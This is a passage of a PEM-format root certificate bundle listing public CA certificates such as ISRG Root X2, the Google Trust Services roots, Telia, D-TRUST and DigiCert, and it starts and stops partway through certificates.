scasGrz2iTAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOC
AgEAKbqSSaet8PFww+SX8J+pJdVrnjT+5hpk9jprUrIQeBqfTNqK2uwcN1LgQkv7bHbKJAs5EhWd
nxEt/Hlk3ODg9d3gV8mlsnZwUKT+twpw1aA08XXXTUm6EdGz2OyC/+sOxL9kLX1jbhd47F18iMjr
jld22VkE+rxSH0Ws8HqA7Oxvdq6R2xCOBNyS36D25q5J08FsEhvMKar5CKXiNxTKsbhm7xqC5PD4
8acWabfbqWE8n/Uxy+QARsIvdLGx14HuqCaVvIivTDUHKgLKeBRtRytAVunLKmChZwOgzoy8sHJn
xDHO2zTlJQNgJXtxmOTAGytfdELSS8VZCAeHvsXDf+eW2eHcKJfWjwXj9ZtOyh1QRwVTsMo554Wg
icEFOwE30z9J4nfrI8iIZjs9OXYhRvHsXyO466JmdXTBQPfYaJqT4i2pLr0cox7IdMakLXogqzu4
sEb9b91fUlV1YvCXoHzXOP0l382gmxDPi7g4Xl7FtKYCNqEeXxzP4padKar9mK5S4fNBUvupLnKW
nyfjqnN9+BojZns7q2WwMgFLFT49ok8MKzWixtlnEjUwzXYuFrOZnk1PTi07NEPhmg4NpGaXutIc
SkwsKouLgU9xGqndXHt7CMUADTdA43x7VF8vhV929vensBxXVsFy6K2ir40zSbofitzmdHxghm+H
l3s=
-----END CERTIFICATE-----

ISRG Root X2
============
-----BEGIN CERTIFICATE-----
MIICGzCCAaGgAwIBAgIQQdKd0XLq7qeAwSxs6S+HUjAKBggqhkjOPQQDAzBPMQswCQYDVQQGEwJV
UzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFyY2ggR3JvdXAxFTATBgNVBAMTDElT
UkcgUm9vdCBYMjAeFw0yMDA5MDQwMDAwMDBaFw00MDA5MTcxNjAwMDBaME8xCzAJBgNVBAYTAlVT
MSkwJwYDVQQKEyBJbnRlcm5ldCBTZWN1cml0eSBSZXNlYXJjaCBHcm91cDEVMBMGA1UEAxMMSVNS
RyBSb290IFgyMHYwEAYHKoZIzj0CAQYFK4EEACIDYgAEzZvVn4CDCuwJSvMWSj5cz3es3mcFDR0H
ttwW+1qLFNvicWDEukWVEYmO6gbf9yoWHKS5xcUy4APgHoIYOIvXRdgKam7mAHf7AlF9ItgKbppb
d9/w+kHsOdx1ymgHDB/qo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
HQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZIzj0EAwMDaAAwZQIwe3lORlCEwkSHRhtF
cP9Ymd70/aTSVaYgLXTWNLxBo1BfASdWtL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5
U6VR5CmD1/iQMVtCnwr1/q4AaOeMSQ+2b1tbFfLn
-----END CERTIFICATE-----

HiPKI Root CA - G1
==================
-----BEGIN CERTIFICATE-----
MIIFajCCA1KgAwIBAgIQLd2szmKXlKFD6LDNdmpeYDANBgkqhkiG9w0BAQsFADBPMQswCQYDVQQG
EwJUVzEjMCEGA1UECgwaQ2h1bmdod2EgVGVsZWNvbSBDby4sIEx0ZC4xGzAZBgNVBAMMEkhpUEtJ
IFJvb3QgQ0EgLSBHMTAeFw0xOTAyMjIwOTQ2MDRaFw0zNzEyMzExNTU5NTlaME8xCzAJBgNVBAYT
AlRXMSMwIQYDVQQKDBpDaHVuZ2h3YSBUZWxlY29tIENvLiwgTHRkLjEbMBkGA1UEAwwSSGlQS0kg
Um9vdCBDQSAtIEcxMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA9B5/UnMyDHPkvRN0
o9QwqNCuS9i233VHZvR85zkEHmpwINJaR3JnVfSl6J3VHiGh8Ge6zCFovkRTv4354twvVcg3Px+k
wJyz5HdcoEb+d/oaoDjq7Zpy3iu9lFc6uux55199QmQ5eiY29yTw1S+6lZgRZq2XNdZ1AYDgr/SE
YYwNHl98h5ZeQa/rh+r4XfEuiAU+TCK72h8q3VJGZDnzQs7ZngyzsHeXZJzA9KMuH5UHsBffMNsA
GJZMoYFL3QRtU6M9/Aes1MU3guvklQgZKILSQjqj2FPseYlgSGDIcpJQ3AOPgz+yQlda22rpEZfd
hSi8MEyr48KxRURHH+CKFgeW0iEPU8DtqX7UTuybCeyvQqww1r/REEXgphaypcXTT3OUM3ECoWqj
1jOXTyFjHluP2cFeRXF3D4FdXyGarYPM+l7WjSNfGz1BryB1ZlpK9p/7qxj3ccC2HTHsOyDry+K4
9a6SsvfhhEvyovKTmiKe0xRvNlS9H15ZFblzqMF8b3ti6RZsR1pl8w4Rm0bZ/W3c1pzAtH2lsN0/
Vm+h+fbkEkj9Bn8SV7apI09bA8PgcSojt/ewsTu8mL3WmKgMa/aOEmem8rJY5AIJEzypuxC00jBF
8ez3ABHfZfjcK0NVvxaXxA/VLGGEqnKG/uY6fsI/fe78LxQ+5oXdUG+3Se0CAwEAAaNCMEAwDwYD
VR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU8ncX+l6o/vY9cdVouslGDDjYr7AwDgYDVR0PAQH/BAQD
AgGGMA0GCSqGSIb3DQEBCwUAA4ICAQBQUfB13HAE4/+qddRxosuej6ip0691x1TPOhwEmSKsxBHi
7zNKpiMdDg1H2DfHb680f0+BazVP6XKlMeJ45/dOlBhbQH3PayFUhuaVevvGyuqcSE5XCV0vrPSl
tJczWNWseanMX/mF+lLFjfiRFOs6DRfQUsJ748JzjkZ4Bjgs6FzaZsT0pPBWGTMpWmWSBUdGSquE
wx4noR8RkpkndZMPvDY7l1ePJlsMu5wP1G4wB9TcXzZoZjmDlicmisjEOf6aIW/Vcobpf2Lll07Q
JNBAsNB1CI69aO4I1258EHBGG3zgiLKecoaZAeO/n0kZtCW+VmWuF2PlHt/o/0elv+EmBYTksMCv
5wiZqAxeJoBF1PhoL5aPruJKHJwWDBNvOIf2u8g0X5IDUXlwpt/L9ZlNec1OvFefQ05rLisY+Gpz
jLrFNe85akEez3GoorKGB1s6yeHvP2UEgEcyRHCVTjFnanRbEEV16rCf0OY1/k6fi8wrkkVbbiVg
hUbN0aqwdmaTd5a+g744tiROJgvM7XpWGuDpWsZkrUx6AEhEL7lAuxM+vhV4nYWBSipX3tUZQ9rb
yltHhoMLP7YNdnhzeSJesYAfz77RP1YQmCuVh6EfnWQUYDksswBVLuT1sw5XxJFBAJw/6KXf6vb/
yPCtbVKoF6ubYfwSUTXkJf2vqmqGOQ==
-----END CERTIFICATE-----

GlobalSign ECC Root CA - R4
===========================
-----BEGIN CERTIFICATE-----
MIIB3DCCAYOgAwIBAgINAgPlfvU/k/2lCSGypjAKBggqhkjOPQQDAjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wHhcNMTIxMTEzMDAwMDAwWhcNMzgwMTE5MDMxNDA3WjBQMSQwIgYDVQQLExtHbG9i
YWxTaWduIEVDQyBSb290IENBIC0gUjQxEzARBgNVBAoTCkdsb2JhbFNpZ24xEzARBgNVBAMTCkds
b2JhbFNpZ24wWTATBgcqhkjOPQIBBggqhkjOPQMBBwNCAAS4xnnTj2wlDp8uORkcA6SumuU5BwkW
ymOxuYb4ilfBV85C+nOh92VC/x7BALJucw7/xyHlGKSq2XE/qNS5zowdo0IwQDAOBgNVHQ8BAf8E
BAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUVLB7rUW44kB/+wpu+74zyTyjhNUwCgYI
KoZIzj0EAwIDRwAwRAIgIk90crlgr/HmnKAWBVBfw147bmF0774BxL4YSFlhgjICICadVGNA3jdg
UM/I2O2dgq43mLyjj0xMqTQrbO/7lZsm
-----END CERTIFICATE-----

GTS Root R1
===========
-----BEGIN CERTIFICATE-----
MIIFVzCCAz+gAwIBAgINAgPlk28xsBNJiGuiFzANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjEwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjEwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2EQKLHuOhd5s73L+UPreVp0A8of2C+X0yBoJx9vaM
f/vo27xqLpeXo4xL+Sv2sfnOhB2x+cWX3u+58qPpvBKJXqeqUqv4IyfLpLGcY9vXmX7wCl7raKb0
xlpHDU0QM+NOsROjyBhsS+z8CZDfnWQpJSMHobTSPS5g4M/SCYe7zUjwTcLCeoiKu7rPWRnWr4+w
B7CeMfGCwcDfLqZtbBkOtdh+JhpFAz2weaSUKK0PfyblqAj+lug8aJRT7oM6iCsVlgmy4HqMLnXW
nOunVmSPlk9orj2XwoSPwLxAwAtcvfaHszVsrBhQf4TgTM2S0yDpM7xSma8ytSmzJSq0SPly4cpk
9+aCEI3oncKKiPo4Zor8Y/kB+Xj9e1x3+naH+uzfsQ55lVe0vSbv1gHR6xYKu44LtcXFilWr06zq
kUspzBmkMiVOKvFlRNACzqrOSbTqn3yDsEB750Orp2yjj32JgfpMpf/VjsPOS+C12LOORc92wO1A
K/1TD7Cn1TsNsYqiA94xrcx36m97PtbfkSIS5r762DL8EGMUUXLeXdYWk70paDPvOmbsB4om3xPX
V2V4J95eSRQAogB/mqghtqmxlbCluQ0WEdrHbEg8QOB+DVrNVjzRlwW5y0vtOUucxD/SVRNuJLDW
cfr0wbrM7Rv1/oFB2ACYPTrIrnqYNxgFlQIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQU5K8rJnEaK0gnhS9SZizv8IkTcT4wDQYJKoZIhvcNAQEMBQAD
ggIBAJ+qQibbC5u+/x6Wki4+omVKapi6Ist9wTrYggoGxval3sBOh2Z5ofmmWJyq+bXmYOfg6LEe
QkEzCzc9zolwFcq1JKjPa7XSQCGYzyI0zzvFIoTgxQ6KfF2I5DUkzps+GlQebtuyh6f88/qBVRRi
ClmpIgUxPoLW7ttXNLwzldMXG+gnoot7TiYaelpkttGsN/H9oPM47HLwEXWdyzRSjeZ2axfG34ar
J45JK3VmgRAhpuo+9K4l/3wV3s6MJT/KYnAK9y8JZgfIPxz88NtFMN9iiMG1D53Dn0reWVlHxYci
NuaCp+0KueIHoI17eko8cdLiA6EfMgfdG+RCzgwARWGAtQsgWSl4vflVy2PFPEz0tv/bal8xa5me
LMFrUKTX5hgUvYU/Z6tGn6D/Qqc6f1zLXbBwHSs09dR2CQzreExZBfMzQsNhFRAbd03OIozUhfJF
fbdT6u9AWpQKXCBfTkBdYiJ23//OYb2MI3jSNwLgjt7RETeJ9r/tSQdirpLsQBqvFAnZ0E6yove+
7u7Y/9waLd64NnHi/Hm3lCXRSHNboTXns5lndcEZOitHTtNCjv0xyBZm2tIMPNuzjsmhDYAPexZ3
FL//2wmUspO8IFgV6dtxQ/PeEMMA3KgqlbbC1j+Qa3bbbP6MvPJwNQzcmRk13NfIRmPVNnGuV/u3
gm3c
-----END CERTIFICATE-----

GTS Root R2
===========
-----BEGIN CERTIFICATE-----
MIIFVzCCAz+gAwIBAgINAgPlrsWNBCUaqxElqjANBgkqhkiG9w0BAQwFADBHMQswCQYDVQQGEwJV
UzEiMCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3Qg
UjIwHhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UE
ChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjIwggIiMA0G
CSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDO3v2m++zsFDQ8BwZabFn3GTXd98GdVarTzTukk3Lv
CvptnfbwhYBboUhSnznFt+4orO/LdmgUud+tAWyZH8QiHZ/+cnfgLFuv5AS/T3KgGjSY6Dlo7JUl
e3ah5mm5hRm9iYz+re026nO8/4Piy33B0s5Ks40FnotJk9/BW9BuXvAuMC6C/Pq8tBcKSOWIm8Wb
a96wyrQD8Nr0kLhlZPdcTK3ofmZemde4wj7I0BOdre7kRXuJVfeKH2JShBKzwkCX44ofR5GmdFrS
+LFjKBC4swm4VndAoiaYecb+3yXuPuWgf9RhD1FLPD+M2uFwdNjCaKH5wQzpoeJ/u1U8dgbuak7M
kogwTZq9TwtImoS1mKPV+3PBV2HdKFZ1E66HjucMUQkQdYhMvI35ezzUIkgfKtzra7tEscszcTJG
r61K8YzodDqs5xoic4DSMPclQsciOzsSrZYuxsN2B6ogtzVJV+mSSeh2FnIxZyuWfoqjx5RWIr9q
S34BIbIjMt/kmkRtWVtd9QCgHJvGeJeNkP+byKq0rxFROV7Z+2et1VsRnTKaG73VululycslaVNV
J1zgyjbLiGH7HrfQy+4W+9OmTN6SpdTi3/UGVN4unUu0kzCqgc7dGtxRcw1PcOnlthYhGXmy5okL
dWTK1au8CcEYof/UVKGFPP0UJAOyh9OktwIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0T
AQH/BAUwAwEB/zAdBgNVHQ4EFgQUu//KjiOfT5nK2+JopqUVJxce2Q4wDQYJKoZIhvcNAQEMBQAD
ggIBAB/Kzt3HvqGf2SdMC9wXmBFqiN495nFWcrKeGk6c1SuYJF2ba3uwM4IJvd8lRuqYnrYb/oM8
0mJhwQTtzuDFycgTE1XnqGOtjHsB/ncw4c5omwX4Eu55MaBBRTUoCnGkJE+M3DyCB19m3H0Q/gxh
swWV7uGugQ+o+MePTagjAiZrHYNSVc61LwDKgEDg4XSsYPWHgJ2uNmSRXbBoGOqKYcl3qJfEycel
/FVL8/B/uWU9J2jQzGv6U53hkRrJXRqWbTKH7QMgyALOWr7Z6v2yTcQvG99fevX4i8buMTolUVVn
jWQye+mew4K6Ki3pHrTgSAai/GevHyICc/sgCq+dVEuhzf9gR7A/Xe8bVr2XIZYtCtFenTgCR2y5
9PYjJbigapordwj6xLEokCZYCDzifqrXPW+6MYgKBesntaFJ7qBFVHvmJ2WZICGoo7z7GJa7Um8M
7YNRTOlZ4iBgxcJlkoKM8xAfDoqXvneCbT+PHV28SSe9zE8P4c52hgQjxcCMElv924SgJPFI/2R8
0L5cFtHvma3AH/vLrrw4IgYmZNralw4/KBVEqE8AyvCazM90arQ+POuV7LXTWtiBmelDGDfrs7vR
WGJB82bSj6p4lVQgw1oudCvV0b4YacCs1aTPObpRhANl6WLAYv7YTVWW4tAR+kg0Eeye7QUd5MjW
HYbL
-----END CERTIFICATE-----

GTS Root R3
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPluILrIPglJ209ZjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjMwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAAQfTzOHMymKoYTey8chWEGJ6ladK0uFxh1MJ7x/JlFyb+Kf1qPKzEUURout
736GjOyxfi//qXGdGIRFBEFVbivqJn+7kAHjSxm65FSWRQmx1WyRRK2EE46ajA2ADDL24CejQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBTB8Sa6oC2uhYHP0/Eq
Er24Cmf9vDAKBggqhkjOPQQDAwNpADBmAjEA9uEglRR7VKOQFhG/hMjqb2sXnh5GmCCbn9MN2azT
L818+FsuVbu/3ZL3pAzcMeGiAjEA/JdmZuVDFhOD3cffL74UOO0BzrEXGhF16b0DjyZ+hOXJYKaV
11RZt+cRLInUue4X
-----END CERTIFICATE-----

GTS Root R4
===========
-----BEGIN CERTIFICATE-----
MIICCTCCAY6gAwIBAgINAgPlwGjvYxqccpBQUjAKBggqhkjOPQQDAzBHMQswCQYDVQQGEwJVUzEi
MCAGA1UEChMZR29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQw
HhcNMTYwNjIyMDAwMDAwWhcNMzYwNjIyMDAwMDAwWjBHMQswCQYDVQQGEwJVUzEiMCAGA1UEChMZ
R29vZ2xlIFRydXN0IFNlcnZpY2VzIExMQzEUMBIGA1UEAxMLR1RTIFJvb3QgUjQwdjAQBgcqhkjO
PQIBBgUrgQQAIgNiAATzdHOnaItgrkO4NcWBMHtLSZ37wWHO5t5GvWvVYRg1rkDdc/eJkTBa6zzu
hXyiQHY7qca4R9gq55KRanPpsXI5nymfopjTX15YhmUPoYRlBtHci8nHc8iMai/lxKvRHYqjQjBA
MA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBSATNbrdP9JNqPV2Py1
PsVq8JQdjDAKBggqhkjOPQQDAwNpADBmAjEA6ED/g94D9J+uHXqnLrmvT/aDHQ4thQEd0dlq7A/C
r8deVl5c1RxYIigL9zC2L7F8AjEA8GE8p/SgguMh1YQdc4acLa/KNJvxn7kjNuK8YAOdgLOaVsjh
4rsUecrNIdSUtUlD
-----END CERTIFICATE-----

Telia Root CA v2
================
-----BEGIN CERTIFICATE-----
MIIFdDCCA1ygAwIBAgIPAWdfJ9b+euPkrL4JWwWeMA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYT
AkZJMRowGAYDVQQKDBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2
MjAeFw0xODExMjkxMTU1NTRaFw00MzExMjkxMTU1NTRaMEQxCzAJBgNVBAYTAkZJMRowGAYDVQQK
DBFUZWxpYSBGaW5sYW5kIE95ajEZMBcGA1UEAwwQVGVsaWEgUm9vdCBDQSB2MjCCAiIwDQYJKoZI
hvcNAQEBBQADggIPADCCAgoCggIBALLQPwe84nvQa5n44ndp586dpAO8gm2h/oFlH0wnrI4AuhZ7
6zBqAMCzdGh+sq/H1WKzej9Qyow2RCRj0jbpDIX2Q3bVTKFgcmfiKDOlyzG4OiIjNLh9vVYiQJ3q
9HsDrWj8soFPmNB06o3lfc1jw6P23pLCWBnglrvFxKk9pXSW/q/5iaq9lRdU2HhE8Qx3FZLgmEKn
pNaqIJLNwaCzlrI6hEKNfdWV5Nbb6WLEWLN5xYzTNTODn3WhUidhOPFZPY5Q4L15POdslv5e2QJl
tI5c0BE0312/UqeBAMN/mUWZFdUXyApT7GPzmX3MaRKGwhfwAZ6/hLzRUssbkmbOpFPlob/E2wnW
5olWK8jjfN7j/4nlNW4o6GwLI1GpJQXrSPjdscr6bAhR77cYbETKJuFzxokGgeWKrLDiKca5JLNr
RBH0pUPCTEPlcDaMtjNXepUugqD0XBCzYYP2AgWGLnwtbNwDRm41k9V6lS/eINhbfpSQBGq6WT0E
BXWdN6IOLj3rwaRSg/7Qa9RmjtzG6RJOHSpXqhC8fF6CfaamyfItufUXJ63RDolUK5X6wK0dmBR4
M0KGCqlztft0DbcbMBnEWg4cJ7faGND/isgFuvGqHKI3t+ZIpEYslOqodmJHixBTB0hXbOKSTbau
BcvcwUpej6w9GU7C7WB1K9vBykLVAgMBAAGjYzBhMB8GA1UdIwQYMBaAFHKs5DN5qkWH9v2sHZ7W
xy+G2CQ5MB0GA1UdDgQWBBRyrOQzeapFh/b9rB2e1scvhtgkOTAOBgNVHQ8BAf8EBAMCAQYwDwYD
VR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAgEAoDtZpwmUPjaE0n4vOaWWl/oRrfxn83EJ
8rKJhGdEr7nv7ZbsnGTbMjBvZ5qsfl+yqwE2foH65IRe0qw24GtixX1LDoJt0nZi0f6X+J8wfBj5
tFJ3gh1229MdqfDBmgC9bXXYfef6xzijnHDoRnkDry5023X4blMMA8iZGok1GTzTyVR8qPAs5m4H
eW9q4ebqkYJpCh3DflminmtGFZhb069GHWLIzoBSSRE/yQQSwxN8PzuKlts8oB4KtItUsiRnDe+C
y748fdHif64W1lZYudogsYMVoe+KTTJvQS8TUoKU1xrBeKJR3Stwbbca+few4GeXVtt8YVMJAygC
QMez2P2ccGrGKMOF6eLtGpOg3kuYooQ+BXcBlj37tCAPnHICehIv1aO6UXivKitEZU61/Qrowc15
h2Er3oBXRb9n8ZuRXqWk7FlIEA04x7D6w0RtBPV4UBySllva9bguulvP5fBqnUsvWHMtTy3EHD70
sz+rFQ47GUGKpMFXEmZxTPpT41frYpUJnlTd0cI8Vzy9OK2YZLe4A5pTVmBds9hCG1xLEooc6+t9
xnppxyd/pPiL8uSUZodL6ZQHCRJ5irLrdATczvREWeAWysUsWNc8e89ihmpQfTU2Zqf7N+cox9jQ
raVplI/owd8k+BsHMYeB2F326CjYSlKArBPuUBQemMc=
-----END CERTIFICATE-----

D-TRUST BR Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQfMmPK4TX3+oPyWWa00tNljAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEJSIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTA5NDUwMFoXDTM1MDIxMTA5NDQ1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBCUiBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABMbLxyjR+4T1mu9CFCDhQ2tuda38KwOE1HaTJddZO0Flax7mNCq7
dPYSzuht56vkPE4/RAiLzRZxy7+SmfSk1zxQVFKQhYN4lGdnoxwJGT11NIXe7WB9xwy0QVK5buXu
QqOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFHOREKv/VbNafAkl1bK6CKBrqx9t
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2JyX3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwQlIlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAlJAtE/rhY/hhY+ithXhUkZy4kzg+GkHaQBZTQgjKL47xPoFWwKrY7RjEsK70Pvom
AjEA8yjixtsrmfu3Ubgko6SUeho/5jbiA1czijDLgsfWFBHVdWNbFJWcHwHP2NVypw87
-----END CERTIFICATE-----

D-TRUST EV Root CA 1 2020
=========================
-----BEGIN CERTIFICATE-----
MIIC2zCCAmCgAwIBAgIQXwJB13qHfEwDo6yWjfv/0DAKBggqhkjOPQQDAzBIMQswCQYDVQQGEwJE
RTEVMBMGA1UEChMMRC1UcnVzdCBHbWJIMSIwIAYDVQQDExlELVRSVVNUIEVWIFJvb3QgQ0EgMSAy
MDIwMB4XDTIwMDIxMTEwMDAwMFoXDTM1MDIxMTA5NTk1OVowSDELMAkGA1UEBhMCREUxFTATBgNV
BAoTDEQtVHJ1c3QgR21iSDEiMCAGA1UEAxMZRC1UUlVTVCBFViBSb290IENBIDEgMjAyMDB2MBAG
ByqGSM49AgEGBSuBBAAiA2IABPEL3YZDIBnfl4XoIkqbz52Yv7QFJsnL46bSj8WeeHsxiamJrSc8
ZRCC/N/DnU7wMyPE0jL1HLDfMxddxfCxivnvubcUyilKwg+pf3VlSSowZ/Rk99Yad9rDwpdhQntJ
raOCAQ0wggEJMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYEFH8QARY3OqQo5FD4pPfsazK2/umL
MA4GA1UdDwEB/wQEAwIBBjCBxgYDVR0fBIG+MIG7MD6gPKA6hjhodHRwOi8vY3JsLmQtdHJ1c3Qu
bmV0L2NybC9kLXRydXN0X2V2X3Jvb3RfY2FfMV8yMDIwLmNybDB5oHegdYZzbGRhcDovL2RpcmVj
dG9yeS5kLXRydXN0Lm5ldC9DTj1ELVRSVVNUJTIwRVYlMjBSb290JTIwQ0ElMjAxJTIwMjAyMCxP
PUQtVHJ1c3QlMjBHbWJILEM9REU/Y2VydGlmaWNhdGVyZXZvY2F0aW9ubGlzdDAKBggqhkjOPQQD
AwNpADBmAjEAyjzGKnXCXnViOTYAYFqLwZOZzNnbQTs7h5kXO9XMT8oi96CAy/m0sRtW9XLS/BnR
AjEAkfcwkz8QRitxpNA7RJvAKQIFskF3UfN5Wp6OFKBOQtJbgfM0agPnIjhQW+0ZT0MW
-----END CERTIFICATE-----

DigiCert TLS ECC P384 Root G5
=============================
-----BEGIN CERTIFICATE-----
MIICGTCCAZ+gAwIBAgIQCeCTZaz32ci5PhwLBCou8zAKBggqhkjOPQQDAzBOMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJjAkBgNVBAMTHURpZ2lDZXJ0IFRMUyBFQ0MgUDM4
NCBSb290IEc1MB4XDTIxMDExNTAwMDAwMFoXDTQ2MDExNDIzNTk1OVowTjELMAkGA1UEBhMCVVMx
FzAVBgNVBAoTDkRpZ2lDZXJ0LCBJbmMuMSYwJAYDVQQDEx1EaWdpQ2VydCBUTFMgRUNDIFAzODQg
Um9vdCBHNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABMFEoc8Rl1Ca3iOCNQfN0MsYndLxf3c1Tzvd
lHJS7cI7+Oz6e2tYIOyZrsn8aLN1udsJ7MgT9U7GCh1mMEy7H0cKPGEQQil8pQgO4CLp0zVozptj
n4S1mU1YoI71VOeVyaNCMEAwHQYDVR0OBBYEFMFRRVBZqz7nLFr6ICISB4CIfBFqMA4GA1UdDwEB
/wQEAwIBhjAPBgNVHRMBAf8EBTADAQH/MAoGCCqGSM49BAMDA2gAMGUCMQCJao1H5+z8blUD2Wds
Jk6Dxv3J+ysTvLd6jLRl0mlpYxNjOyZQLgGheQaRnUi/wr4CMEfDFXuxoJGZSZOoPHzoRgaLLPIx
AJSdYsiJvRmEFOml+wG4DXZDjC5Ty3zfDBeWUA==
-----END CERTIFICATE-----

DigiCert TLS RSA4096 Root G5
============================
-----BEGIN CERTIFICATE-----
MIIFZjCCA06gAwIBAgIQCPm0eKj6ftpqMzeJ3nzPijANBgkqhkiG9w0BAQwFADBNMQswCQYDVQQG
EwJVUzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0
MDk2IFJvb3QgRzUwHhcNMjEwMTE1MDAwMDAwWhcNNDYwMTE0MjM1OTU5WjBNMQswCQYDVQQGEwJV
UzEXMBUGA1UEChMORGlnaUNlcnQsIEluYy4xJTAjBgNVBAMTHERpZ2lDZXJ0IFRMUyBSU0E0MDk2
IFJvb3QgRzUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCz0PTJeRGd/fxmgefM1eS8
7IE+ajWOLrfn3q/5B03PMJ3qCQuZvWxX2hhKuHisOjmopkisLnLlvevxGs3npAOpPxG02C+JFvuU
AT27L/gTBaF4HI4o4EXgg/RZG5Wzrn4DReW+wkL+7vI8toUTmDKdFqgpwgscONyfMXdcvyej/Ces
tyu9dJsXLfKB2l2w4SMXPohKEiPQ6s+d3gMXsUJKoBZMpG2T6T867jp8nVid9E6P/DsjyG244gXa
zOvswzH016cpVIDPRFtMbzCe88zdH5RDnU1/cHAN1DrRN/BsnZvAFJNY781BOHW8EwOVfH/jXOnV
DdXifBBiqmvwPXbzP6PosMH976pXTayGpxi0KcEsDr9kvimM2AItzVwv8n/vFfQMFawKsPHTDU9q
TXeXAaDxZre3zu/O7Oyldcqs4+Fj97ihBMi8ez9dLRYiVu1ISf6nL3kwJZu6ay0/nTvEF+cdLvvy
z6b84xQslpghjLSR6Rlgg/IwKwZzUNWYOwbpx4oMYIwo+FKbbuH2TbsGJJvXKyY//SovcfXWJL5/
MZ4PbeiPT02jP/816t9JXkGPhvnxd3lLG7SjXi/7RgLQZhNeXoVPzthwiHvOAbWWl9fNff2C+MIk
wcoBOU+NosEUQB+cZtUMCUbW8tDRSHZWOkPLtgoRObqME2wGtZ7P6wIDAQABo0IwQDAdBgNVHQ4E
FgQUUTMc7TZArxfTJc1paPKvTiM+s0EwDgYDVR0PAQH/BAQDAgGGMA8GA1UdEwEB/wQFMAMBAf8w
DQYJKoZIhvcNAQEMBQADggIBAGCmr1tfV9qJ20tQqcQjNSH/0GEwhJG3PxDPJY7Jv0Y02cEhJhxw
GXIeo8mH/qlDZJY6yFMECrZBu8RHANmfGBg7sg7zNOok992vIGCukihfNudd5N7HPNtQOa27PShN
